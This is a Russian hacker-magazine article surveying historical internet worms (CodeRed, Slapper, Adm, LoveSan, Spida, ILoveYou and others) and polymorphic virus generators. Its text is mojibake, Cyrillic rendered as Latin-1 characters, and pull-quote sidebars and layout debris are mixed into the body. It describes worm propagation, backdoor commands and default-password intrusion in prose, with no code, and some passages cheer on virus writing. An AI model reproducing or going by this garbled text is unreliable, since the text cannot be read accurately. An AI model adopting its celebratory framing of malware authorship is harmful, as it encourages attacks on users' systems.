SPE ïîçâîëÿë çàïèñûâàòü êîä âè-
ðóñà â èñïîëíÿåìûå ôàéëû è îðãà-
íèçîâûâàë ñïåöèàëüíûé ñ÷åò÷èê.
Ïðè åãî îïðåäåëåííûõ çíà÷åíèÿõ,
âèðü ñòèðàë ñîäåðæèìîå MBR âèí-
÷åñòåðà è ïåðåçàãðóæàë êîìïüþ-
òåð. Íåêîòîðûå ãåíåðàòîðû ðåàãè-
ðîâàëè íà êîìàíäû, ââåäåííûå
ïîëüçîâàòåëåì. Íàïðèìåð, VICE çà-
ðàæàë ôàéëû â êàòàëîãå ëèøü òîã-
äà, êîãäà ïîëüçîâàòåëü â íåãî âõî-
äèë. Òàêæå äåøèôðàòîð óìåë óäà-
ëÿòü áàçû àíòèâèðóñà.
Ãåíåðàòîð SMEG áûë î÷åíü îïà-
ñåí. Ýòîò ðàñøèôðîâùèê óìåë
âïèñûâàòü ñâîé êîä â èñïîëíÿå-
ìûå ôàéëû, à òàêæå ñòèðàòü
CMOS è ñåêòîðà äèñêîâ. Ïðîöåññ
ïðîèñõîäèë êàæäûé ïîíåäåëüíèê.
Ïîñëå ýêçåêóöèè âèðóñ ïîêàçûâàë
íàäïèñü, ñîîáùàþùóþ, ÷òî æåñò-
êèé äèñê áûë ïîâðåæäåí.

À ×ÒÎ ÒÅÏÅÐÜ?
Â íàøå âðåìÿ ìíîãèå âèðóñû

èñïîëüçóþò ïîëèìîðôèçì âûñîêèõ
óðîâíåé â ñâîèõ àëãîðèòìàõ. Íî
ðàçâèòèÿ òåõíîëîãèè ïðàêòè÷åñêè
íå íàáëþäàåòñÿ, ìîæíî ñêàçàòü,
÷òî îíà óæå èçæèëà ñåáÿ. Ïîìèìî
ïîëèìîðôèçìà ñóùåñòâóþò è äðó-
ãèå ìåòîäû ìàñêèðîâêè, íàïðèìåð,
ñòåëñ-òåõíîëîãèè. Âîçìîæíî, ñêîðî
âèðóñîïèñàòåëè ïðèäóìàþò ìîù-
íûé àëãîðèòì çàùèòû ñâîèõ òâîðå-
íèé, êîòîðûé íå ñìîæåò ðàçãàäàòü
íè îäèí ïðîäâèíóòûé àíòèâèðóñ...

A

41

Â
È

Ð
Ó

Ñ
Û

Òåïåðü âèð-
ìåéêåðó íå
íóæíî áûëî
ïèñàòü ñâîé
äåøèôðàòîð,
à ëèøü âîñ-
ïîëüçîâàòü-
ñÿ MtE, â ðå-
çóëüòàòå ÷å-
ãî ìèð óçíàë
î íîâîì ñå-
ìåéñòâå âè-
ðóñîâ.

Ëþáîé ìî-
æåò íàïè-
ñàòü õîðî-
øèé ïîëèìî-
ðôíûé âè-
ðóñ. Íåîáõî-
äèìî ëèøü
íåìíîãî ðàç-
áèðàòüñÿ â
àññåìáëåðå.
Íà ñîçäàíèå
ñðåäíåãî ïî-
ëèìîðôèêà
òðàòèòñÿ íå
áîëåå øåñòè
÷àñîâ.

Çàòåì íàñòóïàåò ñàìîå èíòåðåñíîå. Âðåìÿ
îò âðåìåíè íà ýêðàíå êîìïüþòåðà

ïîÿâëÿåòñÿ ãîëàÿ çàäíèöà, à ïðè íàæàòèè
íà êëàâèøè ðàçäàþòñÿ õàðàêòåðíûå äëÿ

èçîáðàæåíèÿ çâóêè ;).



Ëèíóêñîâûé
Adm þçàåò
ïåðåïîëíå-
íèå áóôåðà â
BIND, çàïè-
ñûâàÿ ñåáÿ
íà óäàëåí-
íóþ ìàøèíó.
Ïðè ýòîì îí
ïåðåäàåò
ëèøü ÷àñòü
ñâîåãî êîäà,
êîòîðûé àâ-
òîìàòè÷åñêè
êîìïèëèðó-
åòñÿ è äîêà-
÷èâàåò îñ-
òàëüíûå
êîìïîíåíòû
óæå ñ çàðà-
æåííîé ìà-
øèíû.

Ñàìûì íà-
øóìåâøèì
âèðóñîì, êî-
òîðûé ïðî-
íèêàë â ñèñ-
òåìó ÷åðåç
IIS, áûë èç-
âåñòíûé
CodeRed. Ïî
ïîäñ÷åòàì,
îí çàðàçèë
ïîðÿäêà äâå-
íàäöàòè òû-
ñÿ÷ ñåðâåðîâ
ïî âñåìó ìè-
ðó. Èçíà-
÷àëüíî ÷åðâü
áûë îðèåí-
òèðîâàí íà
ãëîáàëüíûé
DDoS ïðîòèâ
ñàéòà Áåëîãî
äîìà
www.white-
house.gov.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Êàê èçâåñòíî, âèðóñû áûâàþò ðàçíûå. Áîëüøèíñòâî èç íèõ íàíîñèò âðåä îïåðàöèîííîé ñèñòåìå ëèáî îòäåëüíûì ôàéëàì. Íî
åñòü è òàêèå ýêçåìïëÿðû, ó êîòîðûõ öåëü - ïîðàçèòü ìíîæåñòâî ìàøèí, ïîäêëþ÷åííûõ ê èíòåðíåòó. Ýòî, ïîæàëóé, ñàìûé

îïàñíûé âèä çàðàçû, êîòîðûé ïîëó÷èë íàçâàíèå èíòåðíåò-÷åðâü. Îíî âïîëíå îïðàâäàííî, èáî âèðóñ ïî ïðèíöèïó ñâîåãî äåéñòâèÿ
íàïîìèíàåò æèâîãî ÷åðâÿêà, êîòîðûé îáæèâàåòñÿ íà ìåñòå, à çàòåì ïîëçåò äàëüøå, èñïîëüçóÿ áðåøè â îïåðàöèîííîé ñèñòåìå.

ÏÎÄÂÈÆÍÛÅ ÂÈÐÓÑÛ:
ÌÈÔ ÈËÈ ÐÅÀËÜÍÎÑÒÜ?
ÒÅÕÍÎËÎÃÈÈ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß ×ÅÐÂÅÉ 
Â ÈÍÅÒÅ ÍÀ ÊÎÍÊÐÅÒÍÛÕ ÏÐÈÌÅÐÀÕ

ÐÎÆÄÅÍÈÅ ÇÀÐÀÇÛ
×åðâè ïîÿâëÿþòñÿ

íåñêîëüêî ïîçæå âû-
õîäà ýêñïëîèòà íà îï-
ðåäåëåííóþ óÿçâè-

ìîñòü â ñèñòåìå. Ýòî ïðîèñõîäèò â òîò
ïðîìåæóòîê âðåìåíè, êîãäà áàãà åùå
íå ïîòåðÿëà àêòóàëüíîñòè, à ïîëüçî-
âàòåëü ñâîåâðåìåííî íå ïðîïàò÷èë
ñèñòåìó. Ïðîíèêàÿ íà òåððèòîðèþ
âðàãà, âèðóñ îñâàèâàåòñÿ â ñèñòåìå, à
çàòåì íà÷èíàåò ñêàíèòü èíåò è ëî-
ìèòüñÿ íà äðóãèå ìàøèíû (õîòÿ ýòî
íå âñåãäà òàê).

Êàê èçâåñòíî, îïåðàöèîíêè íå èäå-
àëüíû. Áàãîâ îáíàðóæèâàþò î÷åíü
ìíîãî, ïîýòîìó âðåìÿ îò âðåìåíè ìèð
óçíàåò î íîâîì ÷åðâÿêå. Íî ó÷èòû-
âàÿ, ÷òî áðåøè â îñÿõ â îñíîâíîì ëî-
êàëüíûå (äëÿ ÷åðâÿêà ïðèåìëåì
ëèøü óäàëåííûé ìåòîä ïðîíèêíîâå-
íèÿ), ýêçåìïëÿðîâ äàííîãî òèïà âèðó-
ñîâ î÷åíü ìàëî.

Öåëè ÷åðâåé, êàê ÿ óæå ñêàçàë, ìî-
ãóò áûòü ðàçíûìè. Îäíè ïîðàæàþò
îïåðàöèîííóþ ñèñòåìó è ïûòàþòñÿ
ïðîëåçòü ÷åðåç íåå íà äðóãèå ìàøè-
íû, äðóãèå ïðîñòî âåäóò ïàðàçèòè÷åñ-
êèé îáðàç æèçíè, íàêðó÷èâàÿ áàííå-
ðû íà ñàéòå, òðåòüè òâîðÿò ãëîáàëü-
íûé DDoS â îïðåäåëåííîå âðåìÿ...
Ïîñëå ìîåé ïîäðîáíîé êëàññèôèêà-
öèè ïîëçó÷åé çàðàçû òû ïîéìåøü,
÷òî ÷åðâÿêè - î÷åíü îïàñíûå âèðóñû,
êîòîðûå ïðè æåëàíèè ìîãóò ïàðàëè-
çîâàòü âåñü èíòåðíåò.

ÏÎËÇÅÌ ×ÅÐÅÇ WEB
Óÿçâèìîñòè â Web ñ êàæäûì ãî-

äîì îáíàðóæèâàþò âñå ÷àùå è ÷àùå.
Íà÷èíàÿ ñ ñàìîé ïîïóëÿðíîé unicode-
áàãè â IIS ïîä âèíäó, çàêàí÷èâàÿ
îøèáêîé â ìîäóëå mod_php è mod_ssl
ïîä Linux. Âçëîìùèêè ïîëüçóþòñÿ
ýòèìè áàãàìè â öåëÿõ ïîä÷èíåíèÿ
ñèñòåìû, âèðóñîïèñàòåëè æå ñîçäàþò
÷åðâÿêîâ, êîòîðûå âëàìûâàþòñÿ íà
ìàøèíó è ïûòàþòñÿ çàðàçèòü áîëü-
øîå êîëè÷åñòâî ñåðâåðîâ.

Ñàìûì íàøóìåâøèì âèðóñîì, êîòî-
ðûé ïðîíèêàë â ñèñòåìó ÷åðåç IIS,
áûë èçâåñòíûé CodeRed. Ïî ïîäñ÷å-
òàì, îí çàðàçèë ïîðÿäêà äâåíàäöàòè

òûñÿ÷ ñåðâåðîâ ïî âñåìó ìèðó. Èçíà-
÷àëüíî ÷åðâü áûë îðèåíòèðîâàí íà
ãëîáàëüíûé DDoS ïðîòèâ ñàéòà Áåëî-
ãî äîìà www.whitehouse.gov. Àòàêà
áûëà âûïîëíåíà óñïåøíî, íîðìàëü-
íàÿ ðàáîòà ñåðâåðà íàðóøèëàñü. Ïî-
ìèìî DDoS'à Áåëîãî äîìà, ÷åðâÿê ïå-

ðåõâàòûâàë âñå çàïðîñû íà Web-ñåð-
âåð è ïîêàçûâàë óæå ñâîþ ñòðàíèöó,
ââîäÿ â çàáëóæäåíèå ïîñåòèòåëåé.

Êàê æå äåéñòâîâàë CodeRed? Èñ-
ïîëüçóÿ èçâåñòíóþ unicode-áàãó, îí
ïðîíèêàë â ñèñòåìó è óæå îòòóäà èñ-
êàë íîâûå IIS-ñåðâåðà. Åñëè òû ïîì-
íèøü, îøèáêà áûëà îáíàðóæåíà â
èþíå 2001 ãîäà. Áóêâàëüíî ÷åðåç
íåñêîëüêî äíåé ìåëãîìÿãêèå âûïóñ-
òèëè ïàò÷, íî ìàëî êòî ñâîåâðåìåííî
ñêà÷àë è óñòàíîâèë åãî.

Ìàñøòàá çàðàæåíèÿ CodeRed'îì
ìîã áûòü áîëüøå â äåñÿòêè ðàç, åñëè
áû îí îðèåíòèðîâàëñÿ íà äðóãèå
ïëàòôîðìû Windows. ×åðâÿê çàðà-
æàë ëèøü ñèñòåìû ñ Win2k. Âèäèìî,
ýòî áûëî ñäåëàíî óìûøëåííî.

»
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Ñåðâåð, çàðàæåííûé ÷åðâÿêîì CodeRed
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Óíèêàëüíîñòü CodeRed áûëà â òîì,
÷òî âèðóñ íå èñïîëüçîâàë íèêàêèõ
âðåìåííûõ è ïîñòîÿííûõ ôàéëîâ â
ñâîåé ðàáîòå. ×åðâü ïåðåïîëçàë â
ñèñòåìó â âèäå TCP/IP ïàêåòà, çàòåì
ñåëèëñÿ â îïåðàòèâêå ìàøèíû è èñ-
êàë íîâûå æåðòâû. Ïðè ýòîì îïðåäå-
ëèòü çàðàçó áûëî âåñüìà ïðîáëåìà-
òè÷íî, òàê êàê òîëüêî ñïåöèàëüíûå
àíòèâèðóñíûå ìîäóëè äëÿ ìåæñåòå-
âûõ ýêðàíîâ ìîãëè ýòî ñäåëàòü.

×åðåç íåñêîëüêî íåäåëü ïîÿâè-
ëàñü ìîäèôèêàöèÿ CodeRed, íàïè-
ñàííàÿ áîëåå ãðàìîòíûìè ëþäüìè.
Èñïîëüçóÿ óíèêàëüíûé àëãîðèòì ïî-
èñêà ñèñòåì, ÷åðâÿê ðàñïðîñòðàíèë-
ñÿ íà îãðîìíîå êîëè÷åñòâî êîìïüþ-
òåðîâ. Ïðàâäà, DDoS â ïëàíû âòîðîé
âåðñèè çàðàçû íå âõîäèë. Íà ýòîò
ðàç CodeRed ïîñòàâëÿëñÿ ñ áýêäî-
ðîì, ÷òî äàâàëî âîçìîæíîñòü óäà-
ëåííî óïðàâëÿòü çàðàæåííîé ñèñòå-
ìîé. ×åðâü âïèñûâàëñÿ â ðååñòð è
àêòèâèðîâàëñÿ ïðè êàæäîì çàïóñêå
êîìïüþòåðà.

Ñóùåñòâîâàëè è äðóãèå ÷åðâÿêè,
îðèåíòèðîâàííûå íà IIS-óÿçâèìîñòü.
Èçâåñòíûé IISWorm, íàïðèìåð, ïðîíè-
êàÿ â ñèñòåìó, èùåò àäðåñà äðóãèõ
ñåðâåðîâ â... html-ñòðàíèöàõ âåá-ñåð-
âåðà. Ïîñëå ïðîäåëàííîé ðàáîòû âè-
ðóñ ïîðàæàåò ïðîãðàììíîå îáåñïå÷å-
íèå íà ìàøèíå. Èìÿ ôàéëà-÷åðâÿ
âñåãäà ïîñòîÿííî - iisworm.exe.

LINUX ÍÅ ÈÑÊËÞ×ÅÍÈÅ
Åñëè òû äóìàåøü, ÷òî ÷åðâÿêè âû-

ïóñêàþòñÿ òîëüêî ïîä âèíäó - òû
îøèáàåøüñÿ. Êàê ÿ óæå ãîâîðèë, â
Linux áûëî îáíàðóæåíî ìíîãî óÿçâè-
ìîñòåé â ìîäóëÿõ Apache. Îäèí èç âè-
ðåé, èñïîëüçîâàâøèé áàãó â mod_ssl
ïîëó÷èë íàçâàíèå Mighty. Ýòà çàðàçà

ïðè çàïóñêå ñîåäèíÿëàñü ñ IRC-ñåðâå-
ðîì è ìîãëà âûïîëíÿòü êîìàíäû îò
õîçÿèíà. Ïîìèìî DDoS'à ðàçëè÷íûìè
ñïîñîáàìè, ÷åðâü óñïåøíî ðàñïðîñò-
ðàíÿëñÿ íà äðóãèå linux-ñåðâåðà è çà-
ðàçèë â îáùåé ñëîæíîñòè 1600 ìà-
øèí ïî âñåìó ìèðó.

×óòü ðàíüøå Mighty, ìèð óçíàë î
ëèíóêñîâîì ÷åðâÿ÷êå Slapper (êñòàòè,
÷àñòü åãî êîäà áûëà ïîçàèìñòâîâàíà
âûøåîïèñàííûì âèðåì). ß ëè÷íî

ñòàëêèâàëñÿ ñ ýòèì âèðóñîì. Çàðàçà
ïðîíèêàåò íà ìàøèíó â UUENCODE-
âèäå, çàòåì çàïèñûâàåò ñåáÿ â
/tmp/.bugtraq.c. Ïîñëå êîìïèëÿöèè è
çàïóñêà ÷åðâü ñêàíèò èíåò íà ïðåä-
ìåò áàãè â OpenSSL (ïðîèñõîäèò ïå-
ðåáîð ïî âñåì òàðãåòàì Slapper'à), à
òàêæå ñëåäèò çà ïðèõîäÿùèìè äàòàã-
ðàììàìè íà 2002 UDP-ïîðò. ×åðåç
áýêäîð ìîæíî âûïîëíèòü îãðîìíîå
êîëè÷åñòâî êîìàíä, êàê, íàïðèìåð:

1. Çàïóñòèòü ëîêàëüíûé ôàéë.
2. Ñîâåðøèòü DoS-àòàêó ðàçëè÷íû-

ìè ìåòîäàìè (TCP, UDP, DNS èëè RAW
ïàêåòàìè).
3. Îòîñëàòü ýëåêòðîííîå ïèñüìî.
4. Çàãðóçèòü áèíàðíûé ôàéë ïî

ïðîòîêîëó HTTP è âûïîëíèòü åãî.

Êðîìå òîãî, âñå êîìàíäû, êîòîðûå
ïåðåäàþòñÿ ÷åðåç UDP, çàøèôðîâà-
íû, ÷òî çàùèùàåò îò ïðîñëóøèâàíèÿ
ïàêåòîâ.

Èñïîëüçóÿ óíèêàëüíûé àëãîðèòì ïîèñêà
ñèñòåì, ÷åðâÿê ðàñïðîñòðàíèëñÿ 

íà îãðîìíîå êîëè÷åñòâî êîìïüþòåðîâ.

»

Óÿçâèìîñòü â Âåá-ñåðâåðå, ÷åðåç êîòîðóþ ïðîíèêàåò Mighty

Ôàéëû ÷åðâÿ Slapper



Àâòîð âèðóñà ïðåñëåäîâàë öåëü
ñîçäàòü ïîëíîñòüþ ñâÿçíóþ ñåòü äëÿ
àòàê, òàê êàê çàðàçà óìåëà ïåðåäà-
âàòü êîìàíäû è íà äðóãèå çàðàæåí-
íûå èì ìàøèíû.

ÄÐÓÃÈÅ ÓßÇÂÈÌÎÑÒÈ
Ïîìèìî Web, ñóùåñòâóþò äðóãèå

óÿçâèìîñòè, êîòîðûå èñïîëüçóþò
ìíîãèå âèðóñû. Ê ïðèìåðó, ëèíóêñî-
âûé Adm þçàåò ïåðåïîëíåíèå áóôå-
ðà â BIND, çàïèñûâàÿ ñåáÿ íà óäàëåí-
íóþ ìàøèíó. Ïðè ýòîì îí ïåðåäàåò
ëèøü ÷àñòü ñâîåãî êîäà, êîòîðûé àâ-
òîìàòè÷åñêè êîìïèëèðóåòñÿ è äîêà-
÷èâàåò îñòàëüíûå êîìïîíåíòû óæå ñ
çàðàæåííîé ìàøèíû.

×åðâÿê ñîñòîèò èç âîñüìè êîìïî-
íåíò, ïÿòü èç êîòîðûõ ÿâëÿþòñÿ
shell-ñêðèïòàìè, à òðè - áèíàðíûìè
ôàéëàìè. Ïîî÷åðåäíî çàïóñêàÿ
ôàéëû, çàðàçà èíôèöèðóåò ìàøèíû
â Ñåòè. Ïîñëå ýòîãî ñêà÷èâàåò ñåáÿ ñ
FTP-ñàéòà â âèäå àðõèâà, ðàñïàêîâû-
âàåò åãî, è ïðîöåññ ïðîäîëæàåòñÿ ïî
íîâîé.

Ïîñëåäñòâèÿ Adm î÷åíü íåõîðî-
øèå. ×åðâÿê íàõîäèò âñå ôàéëû
index.html è âïèñûâàåò òóäà ïîñòîÿí-
íûé òåêñò "The ADM Inet w0rm is here
!". Ïîñëå ÷åãî óäàëÿåò ôàéë
/etc/hosts.deny è îòïðàâëÿåò ïèñüìî
ñ IP-àäðåñîì çàðàæåííîé ìàøèíû íà
àäðåñ ýëåêòðîííîé ïî÷òû
admsmb@hotmail.com.

Ñîâñåì íåäàâíî áûëà îáíàðóæåíà
RPC-óÿçâèìîñòü íà âñåõ NT-ïëàòôîð-
ìàõ, êîòîðàÿ ïîçâîëÿëà îòêðûâàòü
øåëë ñ ïðàâàìè àäìèíèñòðàòîðà. Â
êîíöå èþëÿ (÷åðåç ïàðó äíåé ïîñëå
âûõîäà ñâîäêè â bugtraq) ìàéêðîñîô-
òîâöû èñïåêëè ïàò÷, çàêðûâàþùèé
áðåøü. Íî, êàê èçâåñòíî, ìàëî êòî óñ-
òàíîâèë åãî íà ñâîþ ñèñòåìó (îò áàãè
RPC íå ïîìîãàëè äàæå ñåðâèñïàêè).

À ÷åðåç ìåñÿö ñëó÷èëîñü ñàìîå èí-
òåðåñíîå - ïî èíåòó áûë ïóùåí ÷åðâü

LoveSan, êîòîðûé èìåë ðàçìåð âñåãî
6 Êá. Âèðü ïðîíèêàë â ñèñòåìó ïîä
èìåíåì msblast.exe è ñîäåðæàë â ñå-
áå ñëåäóþùèå ñòðîêè:

I just want to say LOVE YOU SAN!!
billy gates why do you make this pos-

sible ?
Stop making money and fix your soft-

ware!!
Ñèìïòîìîì çàðàæåíèÿ ÿâëÿëîñü íà-

ëè÷èå ôàéëà msblast.exe â êàòàëîãå
Windows, à òàêæå ÷àñòûå ïåðåçàãðóç-
êè êîìïüþòåðà èç-çà ñáîÿ â RPC-ñåð-
âèñå. Îðèåíòèðîâàí LoveSan áûë íà
Win2k/XP, äðóãèå ñèñòåìû èì íå èí-
ôèöèðîâàëèñü.

Âèðóñîïèñàòåëü áûë ÿâíî îáèæåí
íà Microsoft, ïîòîìó ÷òî çàðàçà ïðî-
âåðÿëà ñèñòåìíîå âðåìÿ, è ïîñëå 15
àâãóñòà âèðü íà÷èíàë ôëóäèòü HTTP-
çàïðîñàìè ñåðâåð www.windowsup-
date.com. Îá ýòîì ñòàëî èçâåñòíî
åùå 13 ÷èñëà, è Ìàéêðîñîôò ãîòîâèë-
ñÿ ê ìàñøòàáíîé àòàêå (íà òîò ìîìåíò
áûëî çàôèêñèðîâàíî îêîëî 12 òûñÿ÷
çàðàæåííûõ êîìïüþòåðîâ). Ê âå÷åðó
15 àâãóñòà õîñò
www.windowsupdate.com ïåðåñòàë ðå-
çîëâèòüñÿ â IP-àäðåñ. Ýòî áûëî ñäå-
ëàíî ñïåöèàëüíî, ÷òîáû âîñïðåïÿò-
ñòâîâàòü ãëîáàëüíîìó DDoS. Ïîñëåä-
ñòâèÿ àòàêè äî ñèõ ïîð íå àôèøèðó-
þòñÿ.

LoveSan çàïèñûâàåòñÿ â ñèñòåìíûé
ðååñòð, ïîýòîìó ïîñëå ïåðåçàãðóçêè
êîìïüþòåðà çàïóñêàåòñÿ âíîâü. Åñ-
ëè óñòàíîâèòü ïàò÷, íî íå óäàëèòü
÷åðâÿêà - îñîáîé ïîëüçû ýòî íå ïðè-
íåñåò, çàðàçà âñå ðàâíî áóäåò çàðà-
æàòü íîâûå ñåðâåðà, èñïîëüçóÿ
òâîé êîìïüþòåð. Ñåé÷àñ óæå âûïó-
ùåíû ñïåöèàëüíûå ïðîãðàììû, êî-
òîðûå ïîçâîëÿþò äåòåêòèðîâàòü è
óíè÷òîæàòü LoveSan íà ðàáî÷åé
ñòàíöèè. Ñîâåòóþ ïðîâåðèòü ñâîþ
ìàøèíó íà íàëè÷èå ôàéëà mblast -
âîçìîæíî, òû òîæå íàõîäèøüñÿ â
ñïèñêå óÿçâèìûõ.

Îñîáûé âèä ïðåäñòàâëÿþò ñîáîé
÷åðâÿ÷êè, çàðàæàþùèå ñèñòåìó ÷å-
ðåç ÑÓÁÄ (ñèñòåìû óïðàâëåíèÿ áà-
çàìè äàííûõ). ßðêèì ïðèìåðîì òàêîé
çàðàçû ÿâëÿåòñÿ Spida. Ýòîò ýêçåìï-
ëÿð äîëáèòñÿ íà ñëóæáó MsSql ñ äå-
ôîëòîâûì ïàðîëåì "sa". Ïðè óäà÷-
íîì êîííåêòå, âèðóñ ñîçäàåò â ñèñòå-
ìå íîâóþ ó÷åòíóþ çàïèñü sqla-

gentcmdexec ñî ñëó÷àéíûì ïàðîëåì,
äîáàâëÿÿ åå â ãðóïïó Administrators.
Äàëåå êîïèÿ Spida çàëèâàåòñÿ â ñèñ-
òåìíûé êàòàëîã âèíäû, à óÿçâèìîñòü,
÷åðåç êîòîðóþ âèðü ïðîíèê â ñèñòå-
ìó, óñïåøíî çàêðûâàåòñÿ. Èç ïîáî÷-
íûõ ýôôåêòîâ çàôèêñèðîâàíî òî,
÷òî ÷åðâÿê ïûòàåòñÿ îòîñëàòü âñå
ó÷åòíûå çàïèñè è áàçû äàííûõ íà
òðè e-mail àäðåñà.

IRC-×ÅÐÂÈ
Îñîáóþ êàòåãîðèþ ñîñòàâëÿþò

÷åðâÿêè, êîòîðûå ïåðåäàþòñÿ ÷åðåç
Internet Real Chat. Ýòîò âèä çàðàçû
íå èñïîëüçóåò óÿçâèìîñòè â ñèñòåìå,
à àêòèâèðóåòñÿ ëèøü ïîñëå òîãî, êàê
þçåð âûïîëíèò îïðåäåëåííóþ IRC-
êîìàíäó. Ðàñïðîñòðàíÿåòñÿ âèðü òàê-
æå ÷åðåç ñïàì â IRC-êàíàëàõ ëèáî
ïðèâàòàõ.

Èçâåñòíûé ÷åðâü Jer íàõîäèë ñâî-
èõ æåðòâ ÷åðåç IRC â âèäå áåçîáèä-
íîé web-ñòðàíèöû, íà êîòîðîé íàõî-
äèëñÿ ActiveX-ìåòîä. Ïîëüçîâàòåëü
ïîëó÷àë ïðåäóïðåæäåíèå îò áðàóçå-
ðà, íî, êàê ïðàâèëî, îòâå÷àë ñîãëàñè-
åì íà ñîçäàíèå â ñèñòåìå ôàéëà.
Ñêîðåå, ÷òîáû îòâÿçàòüñÿ îò íàçîé-
ëèâîãî îêíà. Â èòîãå âèðü çàïèñûâàë
ñåáÿ â âèäå mIRC-ñêðèïòà, à òàêæå
çàêðåïëÿëñÿ â ðååñòðå. Êàê òîëüêî
íà êàíàëå çâó÷àëî êîäîâîå ñëîâî,
çëîóìûøëåííèêó ïðåäîñòàâëÿëñÿ
óäàëåííûé øåëë äëÿ óïðàâëåíèÿ
êîìïüþòåðîì æåðòâû.

Íåïîñðåäñòâåííî ÷åðåç IRC ïîäõâà-
òèòü çàðàçó äîâîëüíî òðóäíî, åñëè
áûòü ïðåäåëüíî áäèòåëüíûì. ×àùå
÷åðâè ðàññûëàþò ïî DCC ëèáî ïðîñÿò
âûïîëíèòü îïðåäåëåííóþ êîìàíäó.
Áåç âåäîìà ïîëüçîâàòåëÿ çàðàçà íå
ðàñïðîñòðàíèòñÿ (åñëè, êîíå÷íî, â
IRC-êëèåíòå íåò óÿçâèìîñòåé).

ÂÀÌ ÏÈÑÜÌÎ!
Ñàìûì èçëþáëåííûì ìåòîäîì

ðàñïðîñòðàíåíèÿ ÷åðâåé ÿâëÿåòñÿ
ýëåêòðîííàÿ ïî÷òà. Ïðè ýòîì íåâàæ-
íî, êàêàÿ ñèñòåìà ñòîèò ó æåðòâû, à
òàêæå íåò íåîáõîäèìîñòè èñêàòü óÿç-
âèìîñòü â îïåðàöèîíêå. Âñå ïðîèñõî-
äèò "ïî æåëàíèþ" ïîëüçîâàòåëÿ - êàê
ïðàâèëî, îí îòêðûâàåò ïðèëàãàþùèé-
ñÿ ê ïèñüìó àòòà÷ è çàïóñêàåò çàðàçó.

Ïðèìåðîì ñòàíäàðòíîãî àòòà÷íîãî
÷åðâÿêà ÿâëÿåòñÿ âèðóñ Coronex, íà-
ïèñàííûé ïîëíîñòüþ íà àññåìáëåðå.
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Ïðîíèêàÿ íà
òåððèòîðèþ
âðàãà, âèðóñ
îñâàèâàåòñÿ
â ñèñòåìå, à
çàòåì íà÷è-
íàåò ñêàíèòü
èíåò è ëî-
ìèòüñÿ íà
äðóãèå ìà-
øèíû.

Âèðóñîïèñà-
òåëü
LoveSan áûë
ÿâíî îáèæåí
íà Microsoft,
ïîòîìó ÷òî
çàðàçà ïðî-
âåðÿëà ñèñ-
òåìíîå âðå-
ìÿ, è ïîñëå
15 àâãóñòà
âèðü íà÷è-
íàë ôëóäèòü
HTTP-çàïðî-
ñàìè ñåðâåð
www.window-
supdate.com.

Êàê ýòî íè
ïàðàäîê-
ñàëüíî, ñó-
ùåñòâóþò
÷åðâÿêè, êî-
òîðûå... ëå-
÷àò êîìïüþ-
òåðû îò äðó-
ãèõ ÷åðâåé.
Âèäèìî, ó
íåêîòîðûõ
âèðìåéêå-
ðîâ-ýíòóçè-
àñòîâ âîç-
íèêëî æåëà-
íèå î÷èñòèòü
ãëîáàë îò
ãðÿçè. Òàêèå
ýêçåìïëÿðû
òàêæå áûëè
ïðèçíàíû
âèðóñàìè,
õîòü îíè è
íå ïðèíîñÿò
âðåäà.

Ïàò÷ îò MicroSoft âûøåë ñðàçó ïîñëå

îáíàðóæåíèÿ áðåøè

Ìàøèíà ñ âèðåì LoveSan

Èìåííî çäåñü æèâóò IRC-÷åðâÿêè
Adm íà Linux-ñåðâåðå



Ïðè îòêðûòèè àòòà÷à ñ âèðóñîì îí êîïèðóåò ñåáÿ â c:\my
downloads (ëèáî â òåêóùèé êàòàëîã) ïîä èìåíåì êàêîé-ëè-
áî èãðû. Ïðè ýòîì ðàçìåð âèðóñà ñòàíîâèòñÿ îêîëî 10 ìå-
ãàáàéò. Â îïðåäåëåííîå âðåìÿ ïðîèñõîäèò ðàññûëêà ïè-
ñåì ïî âñåé àäðåñíîé êíèãå. Âìåñòå ñ ïèñüìîì, êàê òû óæå
äîãàäàëñÿ, ïîñòàâëÿåòñÿ àòòà÷ ;) â âèäå êîïèè ÷åðâÿêà.

Áîëåå èçâåñòíûé âèðóñ I Love You, çàðàçèâøèé îã-
ðîìíîå êîëè÷åñòâî ìàøèí, áûë íàïèñàí íà Visual Basic
è ïðè àêòèâèçàöèè ðàññûëàë ïî÷òó ïî àäðåñíîé êíèãå
Microsoft Outlook, à òàêæå âïèñûâàë ñåáÿ â ðååñòð è â
ñêðèïò IRC-êëèåíòà (åñëè òàêîâîé ïðèñóòñòâîâàë). Ïðè
ýòîì åãî íå çàìå÷àë íèêàêîé àíòèâèðóñ, áëàãîäàðÿ ÷å-
ìó ÷åðâü àêòèâíî ïóòåøåñòâîâàë ïî ïðîñòîðàì èíòåð-
íåòà. Êàê òû çíàåøü, â òåëå âèðóñà ðàñïîëàãàëèñü
ñòðîêè, íå îòíîñÿùèåñÿ ê êîäó:

barok -loveletter(vbe) < i hate go to school > 
by: spyder / ispyder@mail.com / @GRAMMERSoft Group / 
Manila,Philippines 

Êðîìå ýòîãî, âèðóñ íåñåò ðàçðóøèòåëüíûå äåéñòâèÿ. Âî-
ïåðâûõ, LoveLetter çàìåíÿåò âñå VBS-ôàéëû íà ñâîþ êî-
ïèþ. Âî âòîðûõ, äîáàâëÿåò êî âñåì JPG è JPEG-ôàéëàì
ðàñøèðåíèå VBS è äåëàåò òó æå ïðîöåäóðó, ÷òî è ñ VBS-
ñêðèïòàìè. Ñòàðûé ôàéë âèðü óíè÷òîæàåò. È, íàêîíåö, êî
âñåì mp3-ôàéëàì ÷åðâÿê äîáàâëÿåò äîïîëíèòåëüíîå ðàñ-
øèðåíèå VBS (ñî ñâîåé êîïèåé), à íà ñòàðûé óñòàíàâëèâà-
åò "ñêðûòûé" àòðèáóò.

×åðâü áûë íàïèñàí ôèëèïïèíñêèì øêîëüíèêîì â òîò
äåíü, êîãäà îí, ïðîãóëèâàÿ óðîêè, êîäèë íà Áåéñèêå çà
ñâîèì êîìïüþòåðîì (êàê âûÿñíèëîñü ïîçæå ;)). Åñòåñòâåí-
íî, ÷òî ïðè õîðîøåé ñìåêàëêå è óìåíèè ïðîãðàììèðîâàòü
íà ëþáîì ÿçûêå, ìîæíî íàïèñàòü îòëè÷íûé ÷åðâü, ïåðåäà-
þùèéñÿ ÷åðåç ýëåêòðîííóþ ïî÷òó. Ýòî ñâÿçàíî ñ òåì, ÷òî
íå íóæíî ïîðòèðîâàòü êîä ýêñïëîèòà è áåñïîêîèòüñÿ î
